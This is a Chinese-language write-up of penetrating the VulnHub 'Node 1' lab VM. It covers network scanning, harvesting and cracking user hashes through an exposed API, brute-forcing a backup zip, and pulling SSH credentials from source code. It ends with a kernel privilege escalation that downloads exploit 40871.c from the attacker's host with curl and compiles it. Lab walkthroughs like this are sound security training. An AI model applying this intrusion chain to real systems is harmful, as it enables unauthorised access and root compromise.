靶机下载地址:https://www.vulnhub.com/entry/node-1,252/
靶机环境:处于net网络下的VM虚拟机
攻击机:192.168.146.131
靶 机:192.168.146.132(扫描后得到的)
nmap -sn 192.168.146.0/24
arp-scan -l
nmap -sS -A 192.168.146.132
由扫描结果可得知开放两个端口
22 ssh //说明可以远程连接拿到shell,那么我们需要尝试拿到账号及密码,直接远程登陆ssh
3000 http //http协议,我想应该会和80端口的功能差不多
http://192.168.146.132:3000
浏览页面,可以看到有个登陆框,尝试admin/admin登陆,发现登陆失败。
随便翻翻页面上的东西,可以在无意中找到一个有趣的东西:
浏览他的js源码,可以看到在 home.js 代码中有一个路径,很有意思:
/api/users/latest
/api/users (上面得路径是最新的,那么如果不要最新,访问一下呢)
尝试访问得:
在 https://www.cmd5.com/
解密得
myP14ceAdm1nAcc0uNT : manchester
tom :spongebob
mark : snowflake
restarting : 未搜到
可以看到需要下载一个文件,下载后,里面是base64密文,解密:
cat myplace.backup | base64 -d > myreplace_base.bak //base64解密文件
file myreplace_base.bak //查看文件类型
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myreplace.bak //爆破文件密码
unzip myplace
//输入密码
审计主要的 app.js 文件得:
从const url里连接数据库的语句可以得到ssh连接的账号密码
mark : 5AYRft73VtFpc84k
至于为什么上面我们在网页上得到的账号密码不 ssh 远程连接,那是因为那是web页面的账号,存入的是在数据库里,不是靶机里面得账号,所以ssh连接不上去,而这个mark账号是连接数据库的账号,是属于主机里面的,可以ssh远程连接
ssh -l mark 192.168.146.132
输入密码: 5AYRft73VtFpc84k
可以看到,拿到的账号是一个很普通的用户,那么接下来,为了能够有更高的权限对靶机进行操作,我们需要提权
查看的到靶机的内核版本信息
uname -a
由上图可得为 4.4.0 ubuntu x86_64
有两种方法提权
searchsploit 4.4.0
这时,我们需要查看一下连接的ssh账号,是否能够使用 gcc命令,若是不行,那么我们就需要在本地编译一下 .c 文件,将生成好的文件再上传到靶机上
ssh连接的账号里运行gcc:
可以看到是由gcc环境的,那么就可以直接上传 .c 文件
本机的命令框将 .c 文件上传到web目录下,方便ssh账号请求下载
cp /usr/share/exploitdb/exploits/linux_x86-64/local/40871.c /var/www/html //复制.c文件到web目录下
service apache2 start //打开apache服务
ssh账号命令框:
curl -o /tmp/40871.c 192.168.146.131/40871.c //请求下载exp
cd /tmp
gcc 40871.c -o test //编译exp
可以看到运行失败,若是运行成功,那么会在当前目录下生成test文件,直接运行 ./test 则直接变成root账户
若这个exp提权失败,可以尝试searchsploit 里面的其他 exp
https://www.jianshu.com/p/f384fe15e4f3
下载好后,再一次上传,运行编译,最后提权成功
好了,本次一次简单的靶机渗透完美的结束。